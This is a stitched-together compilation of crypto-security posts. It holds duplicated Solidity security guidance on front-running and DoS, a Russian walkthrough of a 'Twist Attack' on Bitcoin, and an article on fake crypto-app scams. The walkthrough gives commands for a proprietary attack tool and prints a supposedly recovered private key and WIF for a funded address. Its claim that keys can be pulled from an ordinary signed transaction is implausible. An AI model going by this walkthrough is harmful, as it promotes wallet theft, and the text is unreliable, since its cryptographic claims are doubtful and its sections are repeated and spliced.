know and react to some information. These attacks mostly had been within stock market deals and early domain registries, such as whois gateways. front-run·ning (/ˌfrəntˈrəniNG/) noun: front-running; STOCK MARKETthe practice by market makers of dealing on advance information provided by their brokers and investment analysts, before their clients have been given the information. Taxonomy By defining a taxonomy and differentiating each group from another, we can make it easier to discuss the problem and find solutions for each group. We define the following categories of front-running attacks: Displacement Insertion Suppression Displacement In the first type of attack, a displacement attack, it is not important for Alice’s (User) function call to run after Mallory (Adversary) runs her function. Alice’s can be orphaned or run with no meaningful effect. Examples of displacement include: Alice trying to register a domain name and Mallory registering it first; Alice trying to submit a bug to receive a bounty and Mallory stealing it and submitting it first; Alice trying to submit a bid in an auction and Mallory copying it. This attack is commonly performed by increasing the gasPrice higher than network average, often by a multiplier of 10 or more. Insertion For this type of attack, it is important to the adversary that the original function call runs after her transaction. In an insertion attack, after Mallory runs her function, the state of the contract is changed and she needs Alice’s original function to run on this modified state. For example, if Alice places a purchase order on a blockchain asset at a higher price than the best offer, Mallory will insert two transactions: she will purchase at the best offer price and then offer the same asset for sale at Alice’s slightly higher purchase price. If Alice’s transaction is then run after, Mallory will profit on the price difference without having to hold the asset. As with displacement attacks, this is usually done by outbidding Alice’s transaction in the gas price auction. Transaction Order Dependence Transaction Order Dependence is equivalent to race condition in smart contracts. An example, if one function sets the reward percentage, and the withdraw function uses that percentage; then withdraw transaction can be front-run by a change reward function call, which impacts the amount that will be withdrawn eventually. See SWC-114 Suppression In a suppression attack, a.k.a Block Stuffing attacks, after Mallory runs her function, she tries to delay Alice from running her function. This was the case with the first winner of the “Fomo3d” game and some other on-chain hacks. The attacker sent multiple transactions with a high gasPrice and gasLimit to custom smart contracts that assert (or use other means) to consume all the gas and fill up the block’s gasLimit. Variants Each of these attacks has two variants, asymmetric and bulk. In some cases, Alice and Mallory are performing different operations. For example, Alice is trying to cancel an offer, and Mallory is trying to fulfill it first. We call this asymmetric displacement. In other cases, Mallory is trying to run a large set of functions: for example, Alice and others are trying to buy a limited set of shares offered by a firm on a blockchain. We call this bulk displacement. Mitigations Front-running is a pervasive issue on public blockchains such as Ethereum. The best remediation is to remove the benefit of front-running in your application, mainly by removing the importance of transaction ordering or time. For example, in markets, it would be better to implement batch auctions (this also protects against high-frequency trading concerns). Another way is to use a pre-commit scheme (“I’m going to submit the details later”). A third option is to mitigate the cost of front-running by specifying a maximum or minimum acceptable price range on a trade, thereby limiting price slippage. Transaction Ordering: Go-Ethereum (Geth) nodes order the transactions based on their gasPrice and address nonce. This, however, results in a gas auction between participants in the network to get included in the block currently being mined. Confidentiality: Another approach is to limit the visibility of the transactions, this can be done using a “commit and reveal” scheme. A simple implementation is to store the keccak256 hash of the data in the first transaction, then reveal the data and verify it against the hash in the second transaction. However note that the transaction itself leaks the intention and possibly the value of the collateralization. There are enhanced commit and reveal schemes that are more secure, however require more transactions to function, e.g. DoS with Block Gas Limit In the Ethereum blockchain, the blocks all have a gas limit. One of the benefits of a block gas limit is that it prevents attackers from creating an infinite transaction loop, but if the gas usage of a transaction exceeds this limit, the transaction will fail. This can lead to a DoS attack in a couple different ways. Unbounded Operations A situation in which the block gas limit can be an issue is in sending funds to an array of addresses. Even without any malicious intent, this can easily go wrong. Just by having too large an array of users to pay can max out the gas limit and prevent the transaction from ever succeeding. This situation can also lead to an attack. Say a bad actor decides to create a significant amount of addresses, with each address being paid a small amount of funds from the smart contract. If done effectively, the transaction can be blocked indefinitely, possibly even preventing further transactions from going through. An effective solution to this problem would be to use a pull payment system over the current push payment system. To do this, separate each payment into it’s own transaction, and have the recipient call the function. If, for some reason, you really need to loop through an array of unspecified length, at least expect it to potentially take multiple blocks, and allow it to be performed in multiple transactions – as seen in this example: struct Payee { address addr; uint256 value; } Payee[] payees; uint256 nextPayeeIndex; function payOut() { uint256 i = nextPayeeIndex; while (i < payees.length && msg.gas > 200000) { payees[i].addr.send(payees[i].value); i++; } nextPayeeIndex = i; } Block Stuffing In some situations, your contract can be attacked with a block gas limit even if you don’t loop through an array of unspecified length. An attacker can fill several blocks before a transaction can be processed by using a sufficiently high gas price. This attack is done by issuing several transactions at a very high gas price. If the gas price is high enough, and the transactions consume enough gas, they can fill entire blocks and prevent other transactions from being processed. Ethereum transactions require the sender to pay gas to disincentivize spam attacks, but in some situations, there can be enough incentive to go through with such an attack. For example, a block stuffing attack was used on a gambling Dapp, Fomo3D. The app had a countdown timer, and users could win a jackpot by being the last to purchase a key, except everytime a user bought a key, the timer would be extended. An attacker bought a key then stuffed the next 13 blocks and a row so they could win the jackpot. To prevent such attacks from occuring, it’s important to carefully consider whether it’s safe to incorporate time-based actions in your application. Denial of Service DoS with (Unexpected) revert Consider a simple auction contract: // INSECURE contract Auction { address currentLeader; uint highestBid; function bid() payable { require(msg.value > highestBid); require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert currentLeader = msg.sender; highestBid = msg.value; } } If attacker bids using a smart contract which has a fallback function that reverts any payment, the attacker can win any auction. When it tries to refund the old leader, it reverts if the refund fails. This means that a malicious bidder can become the leader while making sure that any refunds to their address will always fail. In this way, they can prevent anyone else from calling the bid() function, and stay the leader forever. A recommendation is to set up a pull payment system instead, as described earlier. Another example is when a contract may iterate through an array to pay users (e.g., supporters in a crowdfunding contract). It’s common to want to make sure that each payment succeeds. If not, one should revert. The issue is that if one call fails, you are reverting the whole payout system, meaning the loop will never complete. No one gets paid because one address is forcing an error. address[] private refundAddresses; mapping (address => uint) public refunds; // bad function refundAll() public { for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds } } Again, the recommended solution is to favor pull over push payments. See SWC-113 DoS with Block Gas Limit Each block has an upper bound on the amount of gas that can be spent, and thus the amount computation that can be done. This is the Block Gas Limit. If the gas spent exceeds this limit, the transaction will fail. This leads to a couple of possible Denial of Service vectors: Gas Limit DoS on a Contract via Unbounded Operations You may have noticed another problem with the previous example: by paying out to everyone at once, you risk running into the block gas limit. This can lead to problems even in the absence of an intentional attack. However, it’s especially bad if an attacker can manipulate the amount of gas needed. In the case of the previous example, the attacker could add a bunch of addresses, each of which needs to get a very small refund. The gas cost of refunding each of the attacker’s addresses could, therefore, end up being more than the gas limit, blocking the refund transaction from happening at all. This is another reason to favor pull over push payments. If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions. You will need to keep track of how far you’ve gone, and be able to resume from that point, as in the following example: struct Payee { address addr; uint256 value; } Payee[] payees; uint256 nextPayeeIndex; function payOut() { uint256 i = nextPayeeIndex; while (i < payees.length && gasleft() > 200000) { payees[i].addr.send(payees[i].value); i++; } nextPayeeIndex = i; } You will need to make sure that nothing bad will happen if other transactions are processed while waiting for the next iteration of the payOut() function. So only use this pattern if absolutely necessary. Gas Limit DoS on the Network via Block Stuffing Even if your contract does not contain an unbounded loop, an attacker can prevent other transactions from being included in the blockchain for several blocks by placing computationally intensive transactions with a high enough gas price. To do this, the attacker can issue several transactions which will consume the entire gas limit, with a high enough gas price to be included as soon as the next block is mined. No gas price can guarantee inclusion in the block, but the higher the price is, the higher is the chance. If the attack succeeds, no other transactions will be included in the block. Sometimes, an attacker’s goal is to block transactions to a specific contract prior to specific time. This attack was conducted on Fomo3D, a gambling app. The app was designed to reward the last address that purchased a “key”. Each key purchase extended the timer, and the game ended once the timer went to 0. The attacker bought a key and then stuffed 13 blocks in a row until the timer was triggered and the payout was released. Transactions sent by attacker took 7.9 million gas on each block, so the gas limit allowed a few small “send” transactions (which take 21,000 gas each), but disallowed any calls to the buyKey() function (which costs 300,000+ gas). A Block Stuffing attack can be used on any contract requiring an action within a certain time period. However, as with any attack, it is only profitable when the expected reward exceeds its cost. The cost of this attack is directly proportional to the number of blocks which need to be stuffed. If a large payout can be obtained by preventing actions from other participants, your contract will likely be targeted by such an attack. DoS with (Unexpected) revert DoS (Denial of Service) attacks can occur in functions when you try to send funds to a user and the functionality relies on that fund transfer being successful. This can be problematic in the case that the funds are sent to a smart contract created by a bad actor, since they can simply create a fallback function that reverts all payments. For example: // INSECURE contract Auction { address currentLeader; uint highestBid; function bid() payable { require(msg.value > highestBid); require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert currentLeader = msg.sender; highestBid = msg.value; } } As you can see in this example, if an attacker bids from a smart contract with a fallback function reverting all payments, they can never be refunded, and thus no one can ever make a higher bid. This can also be problematic without an attacker present. For example, you may want to pay an array of users by iterating through the array, and of course you would want to make sure each user is properly paid. The problem here is that if one payment fails, the funtion is reverted and no one is paid. address[] private refundAddresses; mapping (address => uint) public refunds; // bad function refundAll() public { for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds } } An effective solution to this problem would be to use a pull payment system over the current push payment system. To do this, separate each payment into it’s own transaction, and have the recipient call the function. contract auction { address highestBidder; uint highestBid; mapping(address => uint) refunds; function bid() payable external { require(msg.value >= highestBid); if (highestBidder != address(0)) { refunds[highestBidder] += highestBid; // record the refund that this user can claim } highestBidder = msg.sender; highestBid = msg.value; } function withdrawRefund() external { uint refund = refunds[msg.sender]; refunds[msg.sender] = 0; (bool success, ) = msg.sender.call.value(refund)(""); require(success); } } Denial of Service DoS with (Unexpected) revert Consider a simple auction contract: // INSECURE contract Auction { address currentLeader; uint highestBid; function bid() payable { require(msg.value > highestBid); require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert currentLeader = msg.sender; highestBid = msg.value; } } If attacker bids using a smart contract which has a fallback function that reverts any payment, the attacker can win any auction. When it tries to refund the old leader, it reverts if the refund fails. This means that a malicious bidder can become the leader while making sure that any refunds to their address will always fail. In this way, they can prevent anyone else from calling the bid() function, and stay the leader forever. A recommendation is to set up a pull payment system instead, as described earlier. Another example is when a contract may iterate through an array to pay users (e.g., supporters in a crowdfunding contract). It’s common to want to make sure that each payment succeeds. If not, one should revert. The issue is that if one call fails, you are reverting the whole payout system, meaning the loop will never complete. No one gets paid because one address is forcing an error. address[] private refundAddresses; mapping (address => uint) public refunds; // bad function refundAll() public { for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds } } Again, the recommended solution is to favor pull over push payments. See SWC-113 DoS with Block Gas Limit Each block has an upper bound on the amount of gas that can be spent, and thus the amount computation that can be done. This is the Block Gas Limit. If the gas spent exceeds this limit, the transaction will fail. This leads to a couple of possible Denial of Service vectors: Gas Limit DoS on a Contract via Unbounded Operations You may have noticed another problem with the previous example: by paying out to everyone at once, you risk running into the block gas limit. This can lead to problems even in the absence of an intentional attack. However, it’s especially bad if an attacker can manipulate the amount of gas needed. In the case of the previous example, the attacker could add a bunch of addresses, each of which needs to get a very small refund. The gas cost of refunding each of the attacker’s addresses could, therefore, end up being more than the gas limit, blocking the refund transaction from happening at all. This is another reason to favor pull over push payments. If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions. You will need to keep track of how far you’ve gone, and be able to resume from that point, as in the following example: struct Payee { address addr; uint256 value; } Payee[] payees; uint256 nextPayeeIndex; function payOut() { uint256 i = nextPayeeIndex; while (i < payees.length && gasleft() > 200000) { payees[i].addr.send(payees[i].value); i++; } nextPayeeIndex = i; } You will need to make sure that nothing bad will happen if other transactions are processed while waiting for the next iteration of the payOut() function. So only use this pattern if absolutely necessary. Gas Limit DoS on the Network via Block Stuffing Even if your contract does not contain an unbounded loop, an attacker can prevent other transactions from being included in the blockchain for several blocks by placing computationally intensive transactions with a high enough gas price. To do this, the attacker can issue several transactions which will consume the entire gas limit, with a high enough gas price to be included as soon as the next block is mined. No gas price can guarantee inclusion in the block, but the higher the price is, the higher is the chance. If the attack succeeds, no other transactions will be included in the block. Sometimes, an attacker’s goal is to block transactions to a specific contract prior to specific time. This attack was conducted on Fomo3D, a gambling app. The app was designed to reward the last address that purchased a “key”. Each key purchase extended the timer, and the game ended once the timer went to 0. The attacker bought a key and then stuffed 13 blocks in a row until the timer was triggered and the payout was released. Transactions sent by attacker took 7.9 million gas on each block, so the gas limit allowed a few small “send” transactions (which take 21,000 gas each), but disallowed any calls to the buyKey() function (which costs 300,000+ gas). A Block Stuffing attack can be used on any contract requiring an action within a certain time period. However, as with any attack, it is only profitable when the expected reward exceeds its cost. The cost of this attack is directly proportional to the number of blocks which need to be stuffed. If a large payout can be obtained by preventing actions from other participants, your contract will likely be targeted by such an attack. External Calls Use caution when making external calls Calls to untrusted contracts can introduce several unexpected risks or errors. External calls may execute malicious code in that contract or any other contract that it depends upon. As such, every external call should be treated as a potential security risk. When it is not possible, or undesirable to remove external calls, use the recommendations in the rest of this section to minimize the danger. Mark untrusted contracts When interacting with external contracts, name your variables, methods, and contract interfaces in a way that makes it clear that interacting with them is potentially unsafe. This applies to your own functions that call external contracts. // bad Bank.withdraw(100); // Unclear whether trusted or untrusted function makeWithdrawal(uint amount) { // Isn't clear that this function is potentially unsafe Bank.withdraw(amount); } // good UntrustedBank.withdraw(100); // untrusted external call TrustedBank.withdraw(100); // external but trusted bank contract maintained by XYZ Corp function makeUntrustedWithdrawal(uint amount) { UntrustedBank.withdraw(amount); } Avoid state changes after external calls Whether using raw calls (of the form someAddress.call()) or contract calls (of the form ExternalContract.someMethod()), assume that malicious code might execute. Even if ExternalContract is not malicious, malicious code can be executed by any contracts it calls. One particular danger is malicious code may hijack the control flow, leading to vulnerabilities due to reentrancy. (See Reentrancy for a fuller discussion of this problem). If you are making a call to an untrusted external contract, avoid state changes after the call. This pattern is also sometimes known as the checks-effects-interactions pattern. See SWC-107 Don’t use transfer() or send(). .transfer() and .send() forward exactly 2,300 gas to the recipient. The goal of this hardcoded gas stipend was to prevent reentrancy vulnerabilities, but this only makes sense under the assumption that gas costs are constant. Recently EIP 1884 was included in the Istanbul hard fork. One of the changes included in EIP 1884 is an increase to the gas cost of the SLOAD operation, causing a contract’s fallback function to cost more than 2300 gas. It’s recommended to stop using .transfer() and .send() and instead use .call(). // bad contract Vulnerable { function withdraw(uint256 amount) external { // This forwards 2300 gas, which may not be enough if the recipient // is a contract and gas costs change. msg.sender.transfer(amount); } } // good contract Fixed { function withdraw(uint256 amount) external { // This forwards all available gas. Be sure to check the return value! (bool success, ) = msg.sender.call.value(amount)(""); require(success, "Transfer failed."); } } Note that .call() does nothing to mitigate reentrancy attacks, so other precautions must be taken. To prevent reentrancy attacks, it is recommended that you use the checks-effects-interactions pattern. Handle errors in external calls Solidity offers low-level call methods that work on raw addresses: address.call(), address.callcode(), address.delegatecall(), and address.send(). These low-level methods never throw an exception, but will return false if the call encounters an exception. On the other hand, contract calls (e.g., ExternalContract.doSomething()) will automatically propagate a throw (for example, ExternalContract.doSomething() will also throw if doSomething() throws). If you choose to use the low-level call methods, make sure to handle the possibility that the call will fail, by checking the return value. // bad someAddress.send(55); someAddress.call.value(55)(""); // this is doubly dangerous, as it will forward all remaining gas and doesn't check for result someAddress.call.value(100)(bytes4(sha3("deposit()"))); // if deposit throws an exception, the raw call() will only return false and transaction will NOT be reverted // good (bool success, ) = someAddress.call.value(55)(""); if(!success) { // handle failure code } ExternalContract(someAddress).deposit.value(100)(); See SWC-104 Favor pull over push for external calls External calls can fail accidentally or deliberately. To minimize the damage caused by such failures, it is often better to isolate each external call into its own transaction that can be initiated by the recipient of the call. This is especially relevant for payments, where it is better to let users withdraw funds rather than push funds to them automatically. (This also reduces the chance of problems with the gas limit.) Avoid combining multiple ether transfers in a single transaction. // bad contract auction { address highestBidder; uint highestBid; function bid() payable { require(msg.value >= highestBid); if (highestBidder != address(0)) { (bool success, ) = highestBidder.call.value(highestBid)(""); require(success); // if this call consistently fails, no one else can bid } highestBidder = msg.sender; highestBid = msg.value; } } // good contract auction { address highestBidder; uint highestBid; mapping(address => uint) refunds; function bid() payable external { require(msg.value >= highestBid); if (highestBidder != address(0)) { refunds[highestBidder] += highestBid; // record the refund that this user can claim } highestBidder = msg.sender; highestBid = msg.value; } function withdrawRefund() external { uint refund = refunds[msg.sender]; refunds[msg.sender] = 0; (bool success, ) = msg.sender.call.value(refund)(""); require(success); } } See SWC-128 Don’t delegatecall to untrusted code The delegatecall function is used to call functions from other contracts as if they belong to the caller contract. Thus the callee may change the state of the calling address. This may be insecure. An example below shows how using delegatecall can lead to the destruction of the contract and loss of its balance. contract Destructor { function doWork() external { selfdestruct(0); } } contract Worker { function doWork(address _internalWorker) public { // unsafe _internalWorker.delegatecall(bytes4(keccak256("doWork()"))); } } If Worker.doWork() is called with the address of the deployed Destructor contract as an argument, the Worker contract will self-destruct. Delegate execution only to trusted contracts, and never to a user supplied address. Front-running is a pervasive issue in Ethereum DApps. DApp developers don’t necessarily have the mindset to design DApps with front-running in mind. This is an attempt to bring forward the subject and increase awareness of these type of attacks. While some DApp-level application logic could be built to mitigate these attacks, its ubiquity across different DApp categories suggests mitigations at the blockchain-level would perhaps be more effective. We highlight this as an important research area. We consider front-running to be a course of action where an entity benefits from prior access to privileged market information about upcoming transactions and trades. Front-running has been an issue in financial instrument markets since the 1970s. With the advent of the blockchain technology, front-running has resurfaced in new forms we explore here, instigated by blockchain’s decentralized and transparent nature. In this paper, we draw from a scattered body of knowledge and instances of front-running across the top 25 most active decentral applications (DApps) deployed on Ethereum blockchain. Additionally, we carry out a detailed analysis of Status.im initial coin offering (ICO) and show evidence of abnormal miner’s behavior indicative of front-running token purchases. Finally, we map the proposed solutions to front-running into useful categories GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/HVh_cbsgSMg Source: https://cryptodeep.ru/improving-overall-security Криптоанализ
  23. CRYPTO DEEP TECH В этой статье мы реализуем Twist Attack на примере №2 согласно первой теоретической части статьи мы убедились что с помощью определенных точек на эллиптической кривой secp256k1 мы можем получить частичные значение приватного ключа и в течение 5-15 минут восстановить Биткоин Кошелек используя “Sagemath pollard rho function: (discrete_log_rho)” и “Chinese Remainder Theorem”. https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md Согласно твиту Paulo Barreto: https://twitter.com/pbarreto/status/825703772382908416?s=21 The cofactor is 3^2*13^2*3319*22639 E1: 20412485227 E2: 3319, 22639 E3: 109903, 12977017, 383229727 E4: 18979 E6: 10903, 5290657, 10833080827, 22921299619447 prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447 38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031 HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5 E1: y^2 = x^3 + 1 E2: y^2 = x^3 + 2 E3: y^2 = x^3 + 3 E4: y^2 = x^3 + 4 E6: y^2 = x^3 + 6 https://attacksafe.ru/twist-attack-on-bitcoin y² = x³ + ax + b. In the Koblitz curve, y² = x³ + 0x + 7. In the Koblitz curve, 0 = x³ + 0 + 7 b '= -x ^ 3 - ax. Перейдем к экспериментальной части: (Рассмотрим Биткоин Адрес) (Теперь рассмотрим критический уязвимые транзакции) Откроем [TerminalGoogleColab]. Реализуем алгоритм Twist Attack с помощью нашей репозитории 18TwistAttack git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/18TwistAttack/ ls Установим все нужные нам пакеты requirements.txt sudo apt install python2-minimal wget https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python2 get-pip.py pip2 install -r requirements.txt , Подготовим RawTX для атаки RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000 Сохраним в файле: RawTX.txt Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: chmod +x attacksafe Применение: ./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode ./attacksafe -version Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023] "ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин. Запустим список всех атак: ./attacksafe -list Выберем -tool: twist_attack Чтобы получить определенные точки secp256k1 из уязвимой транзакции подписи ECDSA, мы добавили данные RawTX в текстовый документ и сохранил как файл RawTX.txt 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000 Запустим -tool twist_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” ./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt Мы запустили данную атаку из -tool twist_attack и результат сохранился в файл SecretPoints.txt Теперь чтобы посмотреть успешный результат откроем файл SecretPoints.txt cat SecretPoints.txt Результат: Elliptic Curve Secret Points: Q11 = E1([97072073026593516785986136148833105674452542501015145216961054272876839453879, 107567253371779495307521678088935176637661904239924771700494716430774957820966]) Q21 = E2([3350296768277877304391506547616361976369787138559008027651808311357100316617, 72988900267653266243491077449097157591503403928437340215197819240911749073070]) Q22 = E2([112520741232779465095566100761481226712887911875949213866586208031790667764851, 67821409607391406974451792678186486803604797717916857589728259410989018828088]) Q31 = E3([19221018445349571002768878066568778104356611670224206148889744255553888839368, 51911948202474460182474729837629287426170495064721963100930541018009108314113]) Q32 = E3([41890177480111283990531243647299980511217563319657594412233172058507418746086, 50666391602993122126388747247624601309616370399604218474818855509093287774278]) Q33 = E3([42268931450354181048145324837791859216268206183479474730830244807012122440868, 106203099208900270966718494579849900683595613889332211248945862977592813439569]) Q41 = E4([54499795016623216633513895020095562919782606390420118477101689814601700532150, 105485166437855743326869509276555834707863666622073705127774354124823038313021]) Q61 = E6([62124953527279820718051689027867102514830975577976669973362563656149003510557, 100989088237897158673340534473118617341737987866593944452056172771683426720481]) Q62 = E6([86907281605062616221251901813989896824116536666883529138776205878798949076805, 19984923138198085750026187300638434023309806045826685297245727280111269894421]) Q63 = E6([66063410534588649374156935204077330523666149907425414249132071271750455781006, 25315648259518110320341360730017389015499807179224601293064633820188666088920]) Q64 = E6([109180854384525934106792159822888807664445139819154775748567618515646342974321, 102666617356998521143219293179463920284010473849613907153669896702897252016986]) RawTX = 01000000013edba424d1b614ec2182c8ac6856215afb803bcb9748c1888eecd35fffad67730e0000006b483045022100bbabd1cb2097e0053b3da453b15fd195a2bc1e8dbe00cfd60aee95b404d2abfa02201af66956a7ea158d32b0a56a46a83fe27f9e544387c8d0ce13cd2a54dba9a747012102912cd095d2c20e4fbdb20a8710971dd040a067dba45899b7156e9347efc20312ffffffff01a8020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000 Теперь добавим полученные точки secp256k1 Для этого откроем Python-script: discrete.py Для того чтобы запустить Python-script: discrete.py установим SageMath Команда установки: sudo apt-get update sudo apt-get install -y python3-gmpy2 yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath Проверим установку SageMath по команде: sage -v SageMath version 9.0 Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py Команда запуска: sage -python3 discrete.py Результат: Discrete_log_rho: 14996641256 1546 19575 31735 9071789 145517682 11552 7151 3370711 10797447604 10120546250224 PRIVATE KEY: 3160389728152122137789469305939632411648887242506549174582525524562820572318 privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64]) Конвертируем приватный ключ в HEX формат Десятичный формат приватного ключа был сохранен в файл: privkey.txt Запустим Python-script: privkey2hex.py python3 privkey2hex.py cat privkey2hex.txt Откроем полученный файл: privkey2hex.txt Приватный ключ в HEX формате: PrivKey = 06fcb79a2eabffa519509e43b7de95bc2df15ca48fe6be29f9160bcd6ac1a49e Откроем bitaddress и проверим: ADDR: 1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx WIF: KwTHx3AhV8qiN6qyfG1D85TGEeUBiaMUjnQ11eVLP5NAfiVNLLmS HEX: 06FCB79A2EABFFA519509E43B7DE95BC2DF15CA48FE6BE29F9160BCD6AC1A49E https://live.blockcypher.com/btc/address/1L7vTvRwmWENJm4g15rAxAtGcXjrFsWcBx/ BALANCE: $ 902.52 Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/pOviZOYItv4 Источник: https://cryptodeep.ru/twist-attack-2 Криптоанализ
  24. CRYPTO DEEP TECH The rise of fake cryptocurrency apps and how to avoid them. Scammers are using fake crypto apps to steal funds from investors. Some malicious apps find their way into official app stores. And, according to the latest fraud report, fraudsters are using fake crypto apps to steal money from unsuspecting crypto investors. It highlights that American investors have lost approximately $42.7 million to swindlers through fake apps. The schemes reportedly take advantage of heightened interest in cryptocurrencies, especially during bull market runs, to beguile crypto users. How fake crypto app scammers lure users Fake crypto app scammers use myriad techniques to entice investors. The following is a breakdown of some of them. Social engineering schemes Some fake crypto app scammer networks use social engineering strategies to entice victims. In many cases, the fraudsters befriend the victims through social platforms such as dating sites and then trick them into downloading apps that appear to be functional cryptocurrency trading apps. The scammers then convince users to transfer funds to the app. The funds are, however, “locked in” once the transfer is made, and the victims are never allowed to withdraw money. In some cases, the scammers lure victims using outlandish high-yield claims. The ruse comes to an end when the victims realize that they can’t redeem their funds. Speaking to Cointelegraph earlier this week, Rick Holland, chief information security officer of Digital Shadows — a digital risk protection firm — underscored that social engineering remains a top strategy among crooks because it requires minimal effort. “Relying upon the tried-and-true method of social engineering is far more practical and lucrative,” he said. The cybersecurity manager added that social engineering makes it easy for scammers to target high-net-worth individuals. Context: Bob ( fake name, real person) received a text claiming to be from his exchange. The message states that due to the recent ban on crypto in China, all users must withdraw their funds to a defi wallet. The text also included a link to the wallet where Bob can transfer his funds. After downloading the wallet, Bob removed all of his funds from the exchange. More than $10 million in ERC20-USDT were transferred. Little did Bob know that he had just become the victim of a phishing scam. Bob reached out to us for help recovering his funds. Bob wasn’t the first person to contact us regarding these scams. Scams are becoming more common as interest in cryptocurrency grows. According to data from our MistTrack service, more than 60% of all reported hacks were related to fake wallets. There are several ways to protect yourself against phishing attacks: Never click on any link from an unknown source, even if it appears legitimate. Scammers frequently send emails or texts containing links to a fake wallet. Always go to the original website rather than clicking on sponsored ads. Scammers often purchase ad space on search engines to promote their counterfeit website that often appears genuine. Scammers will regularly message you pretending to help. After gaining your trust, they will send you a link to download their app and transfer funds to it. They will often fabricate why you cannot withdraw funds unless you deposit additional funds into it. Many who fall victim to these scams never receive their money back. Scammers would often pose as support from Metamask. They would pretend to help anyone currently having difficulties using Metamask. After gaining their trust, they would send over a link asking the victim to input their seed phase. Metamask will NEVER ask for your seed phrase or private key. This is what a fake Metamask wallet might look like. In-depth analysis Our team begins to analyze and research the information provided by these victims. According to our ongoing investigation, tens of thousands of victims had their assets stolen from these phishing scams. So far, the total amount stolen exceeds $1.3 billion. These are the only funds reported to SlowMist, and we only counted ETH, BTC, TRX, ERC20-USDT, and TRC20-USDT. The graph below depicts the number of reported cases to us during November. One victim provided us with the Tron address of the scammer. Using MistTrack, our team was able to track down and analyze the scammer’s address. It showed an additional 14 addresses that had transferred funds to this address. We can assume that these addresses also fell victims to this phishing scam. In total, the scammer was able to walk away with over $250,000 in Trc20-USDT. Which they later distributed to various Binance accounts. We followed one of these Binance accounts and discovered it had over $600,000 in TRC20 — USDT. Imagine the total amount stolen if this was just one of the addresses the scammer uses. As we investigated further into this account, we discovered more illegal activity associated with it. According to our AML(anti-money laundering) software, a BTC address associated with this account (32q…fia) was used for extortion. Through the investigation of this address, we concluded that these phishing schemes were not isolated events but rather part of a larger global scale. Furthermore, our research indicates that the scammer will frequently transfer portions of the funds to multiple exchanges and to another scammer wallet with a significant amount of transactions to confuse our analysis. Recognizable brand names Some fake crypto app scammers have resorted to using recognizable brand names to push fake apps because of the trust and authority that they wield. In one case highlighted in the latest crypto crime report, cybercriminals posing as YiBit employees recently hoodwinked investors out of some $5.5 million after convincing them to download a bogus YiBit crypto trading app. Unbeknown to the investors, the actual YiBit crypto exchange firm ceased operations in 2018. Fund transfers made to the fake app were stolen. In another case outlined in the report, phishers using the Supay brand name, which is associated with an Australian crypto company, swindled 28 investors out of millions of dollars. The ploy, which ran between Nov. 1 and Nov. 26, caused $3.7 million in losses. Such schemes have been going on for years, but many incidences go unreported due to the lack of proper recourse channels, especially in jurisdictions that shun cryptocurrencies. Besides the U.S., investigations in other major jurisdictions such as India have in the recent past uncovered elaborate fake crypto app schemes. According to a report published by the CloudSEK cybersecurity company in June, a newly discovered fake crypto app scheme involving numerous cloned apps and domains caused Indian investors to lose at least $128 